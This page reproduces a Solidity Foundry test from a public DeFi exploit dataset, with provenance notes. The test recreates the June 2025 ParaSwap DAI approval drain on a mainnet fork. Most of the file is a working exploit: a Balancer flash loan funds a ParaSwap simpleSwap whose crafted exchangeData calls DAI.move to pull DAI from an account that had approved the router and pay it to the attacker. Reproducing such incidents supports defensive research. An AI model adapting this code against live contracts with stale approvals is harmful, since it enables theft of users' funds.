Public reproduction file
src/test/2025-06/ParaSwapDAIApproval_exp.sol
Public reproduction file for dataset entry ParaSwapDAIApproval.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 2,298.68 USD8// Attacker : 0x2d9a39de3e5227ff74b4cfc154b16fd77614ee339// Attack Contract : 0x5b24ff16da6b75cc1e18c9361d8deaeae5ea2f0f10// Alert Victim : 0xb5d85cbf7cb3ee0d56b3bb207d5fc4b82f43f51111// DAI Source Account : 0x1e0c22a1f39b6c7f36661297437e874ec31fa0b112// Attack Tx : https://etherscan.io/tx/0xed5f932a136ef95b943951ce103b3edbe600bf2c2607edff7b6ea9ada35ca30013//14// @Info15// ParaSwap AugustusSwapper : https://etherscan.io/address/0xdef171fe48cf0115b1d80b88dc8eab59176fee57#code16//17// @Analysis18// Telegram Alert : https://t.me/defimon_alerts/135219//20// Attack summary: the attacker flash-borrowed 1000 wei of WETH from Balancer, used it as the21// fromToken for a ParaSwap simpleSwap, and supplied exchangeData that repaid the WETH while moving22// DAI from an account that had authorized ParaSwap. ParaSwap then transferred the received DAI to23// the attacker-designated beneficiary.24// Root cause: the DAI source account had authorized the ParaSwap Augustus router, and simpleSwap lets25// the caller provide arbitrary callee/exchangeData sequences. The router's DAI.move calls execute as26// ParaSwap, so the stale authorization lets an unprivileged caller drain the approved DAI balance.28address constant ATTACKER = address(uint160(0x002d9a39de3e5227ff74b4cfc154b16fd77614ee33));29address constant HISTORICAL_ATTACK_CONTRACT = address(uint160(0x005b24ff16da6b75cc1e18c9361d8deaeae5ea2f0f));30address constant HISTORICAL_FLASH_HELPER = address(uint160(0x00be15c4e75c11bd41f5e65165b9fee0b00ef30ad3));31address constant ALERT_VICTIM = address(uint160(0x00b5d85cbf7cb3ee0d56b3bb207d5fc4b82f43f511));32address constant DAI_SOURCE_ACCOUNT = address(uint160(0x001e0c22a1f39b6c7f36661297437e874ec31fa0b1));33address constant BALANCER_VAULT = address(uint160(0x00ba12222222228d8ba445958a75a0704d566bf2c8));34address constant PARASWAP_AUGUSTUS = address(uint160(0x00def171fe48cf0115b1d80b88dc8eab59176fee57));35address constant TOKEN_TRANSFER_PROXY = address(uint160(0x00216b4b4ba9f3e719726886d34a177484278bfcae));36address constant WETH_TOKEN = address(uint160(0x00c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2));37address constant DAI_TOKEN = address(uint160(0x006b175474e89094c44da98b954eedeac495271d0f));39uint256 constant FLASH_WETH_AMOUNT = 1_000;40uint256 constant DAI_DRAIN_AMOUNT = 2_299_037_211_488_404_869_264;41uint256 constant FIRST_DAI_MOVE_AMOUNT = DAI_DRAIN_AMOUNT - 1;42uint256 constant HISTORICAL_DEADLINE = 1_750_817_123;44interface IBalancerVault1352 {45 function flashLoan(46 address recipient,47 IERC20[] calldata tokens,48 uint256[] calldata amounts,49 bytes calldata userData50 ) external;51}53interface IBalancerFlashLoanRecipient1352 {54 function receiveFlashLoan(55 IERC20[] calldata tokens,56 uint256[] calldata amounts,57 uint256[] calldata feeAmounts,58 bytes calldata userData59 ) external;60}62interface IDAIMove1352 {63 function move(address src, address dst, uint256 wad) external;64}66interface IParaSwapSimpleSwap1352 {67 struct SimpleData {68 address fromToken;69 address toToken;70 uint256 fromAmount;71 uint256 toAmount;72 uint256 expectedAmount;73 address[] callees;74 bytes exchangeData;75 uint256[] startIndexes;76 uint256[] values;77 address payable beneficiary;78 address payable partner;79 uint256 feePercent;80 bytes permit;81 uint256 deadline;82 bytes16 uuid;83 }85 function simpleSwap(86 SimpleData calldata data87 ) external payable returns (uint256 receivedAmount);88}90contract ContractTest is BaseTestWithBalanceLog {91 function setUp() public {92 vm.createSelectFork("mainnet", 22_778_354);93 vm.roll(22_778_355);94 vm.warp(HISTORICAL_DEADLINE);96 fundingToken = DAI_TOKEN;97 attacker = ATTACKER;99 vm.label(ATTACKER, "Attacker");100 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");101 vm.label(HISTORICAL_FLASH_HELPER, "Historical flash helper");102 vm.label(ALERT_VICTIM, "Alert victim");103 vm.label(DAI_SOURCE_ACCOUNT, "DAI source account");104 vm.label(BALANCER_VAULT, "Balancer vault");105 vm.label(PARASWAP_AUGUSTUS, "ParaSwap Augustus");106 vm.label(TOKEN_TRANSFER_PROXY, "ParaSwap token transfer proxy");107 vm.label(WETH_TOKEN, "WETH");108 vm.label(DAI_TOKEN, "DAI");109 }111 function testExploit() public balanceLog {112 uint256 attackerDaiBefore = IERC20(DAI_TOKEN).balanceOf(ATTACKER);113 uint256 sourceDaiBefore = IERC20(DAI_TOKEN).balanceOf(DAI_SOURCE_ACCOUNT);114 uint256 balancerWethBefore = IERC20(WETH_TOKEN).balanceOf(BALANCER_VAULT);116 assertGe(sourceDaiBefore, DAI_DRAIN_AMOUNT);118 ParaSwapDAIApprovalAttack attack = new ParaSwapDAIApprovalAttack(ATTACKER);119 attack.execute();121 assertEq(IERC20(WETH_TOKEN).balanceOf(BALANCER_VAULT), balancerWethBefore);122 assertEq(sourceDaiBefore - IERC20(DAI_TOKEN).balanceOf(DAI_SOURCE_ACCOUNT), DAI_DRAIN_AMOUNT);123 assertEq(IERC20(DAI_TOKEN).balanceOf(ATTACKER) - attackerDaiBefore, DAI_DRAIN_AMOUNT);124 }125}127contract ParaSwapDAIApprovalAttack is IBalancerFlashLoanRecipient1352 {128 address private immutable profitReceiver;130 constructor(131 address receiver132 ) {133 profitReceiver = receiver;134 }136 function execute() external {137 IERC20[] memory tokens = new IERC20[](1);138 tokens[0] = IERC20(WETH_TOKEN);140 uint256[] memory amounts = new uint256[](1);141 amounts[0] = FLASH_WETH_AMOUNT;143 IBalancerVault1352(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, new bytes(0));144 }146 function receiveFlashLoan(147 IERC20[] calldata,148 uint256[] calldata amounts,149 uint256[] calldata feeAmounts,150 bytes calldata151 ) external override {152 require(msg.sender == BALANCER_VAULT, "unexpected lender");153 require(amounts[0] == FLASH_WETH_AMOUNT && feeAmounts[0] == 0, "unexpected flash loan");155 IERC20(WETH_TOKEN).approve(TOKEN_TRANSFER_PROXY, FLASH_WETH_AMOUNT);157 IParaSwapSimpleSwap1352.SimpleData memory data = _buildSwapData();158 uint256 received = IParaSwapSimpleSwap1352(PARASWAP_AUGUSTUS).simpleSwap(data);159 require(received == DAI_DRAIN_AMOUNT, "unexpected received amount");160 }162 function _buildSwapData() private view returns (IParaSwapSimpleSwap1352.SimpleData memory data) {163 address[] memory callees = new address[](3);164 callees[0] = WETH_TOKEN;165 callees[1] = DAI_TOKEN;166 callees[2] = DAI_TOKEN;168 bytes memory exchangeData = bytes.concat(169 abi.encodeWithSelector(IERC20.transfer.selector, BALANCER_VAULT, FLASH_WETH_AMOUNT),170 abi.encodeWithSelector(IDAIMove1352.move.selector, DAI_SOURCE_ACCOUNT, PARASWAP_AUGUSTUS, FIRST_DAI_MOVE_AMOUNT),171 abi.encodeWithSelector(IDAIMove1352.move.selector, DAI_SOURCE_ACCOUNT, PARASWAP_AUGUSTUS, uint256(1))172 );174 uint256[] memory startIndexes = new uint256[](4);175 startIndexes[0] = 0;176 startIndexes[1] = 68;177 startIndexes[2] = 168;178 startIndexes[3] = 268;180 uint256[] memory values = new uint256[](3);182 data = IParaSwapSimpleSwap1352.SimpleData({183 fromToken: WETH_TOKEN,184 toToken: DAI_TOKEN,185 fromAmount: FLASH_WETH_AMOUNT,186 toAmount: 1,187 expectedAmount: DAI_DRAIN_AMOUNT,188 callees: callees,189 exchangeData: exchangeData,190 startIndexes: startIndexes,191 values: values,192 beneficiary: payable(profitReceiver),193 partner: payable(profitReceiver),194 feePercent: 0,195 permit: new bytes(0),196 deadline: HISTORICAL_DEADLINE,197 uuid: bytes16(0)198 });199 }200}Analysis
Dataset entry
Public Foundry test for “ParaSwapDAIApproval” (2025-06-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2d9a39de3e5227ff74b4cfc154b16fd77614ee33
- Attack Contract
0x5b24ff16da6b75cc1e18c9361d8deaeae5ea2f0f
- Attack Tx
0xed5f932a136ef95b943951ce103b3edbe600bf2c2607edff7b6ea9ada35ca300
File record
- Name
- ParaSwapDAIApproval
- Path
- src/test/2025-06/ParaSwapDAIApproval_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d8bb0bbf790bab53154baf8bde37fbe3851373ab
- Language
- Solidity
- Size
- 201 lines
- Date
- 2025-06-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/ParaSwapDAIApproval_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d8bb0bbf790bab53154baf8bde37fbe3851373ab, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.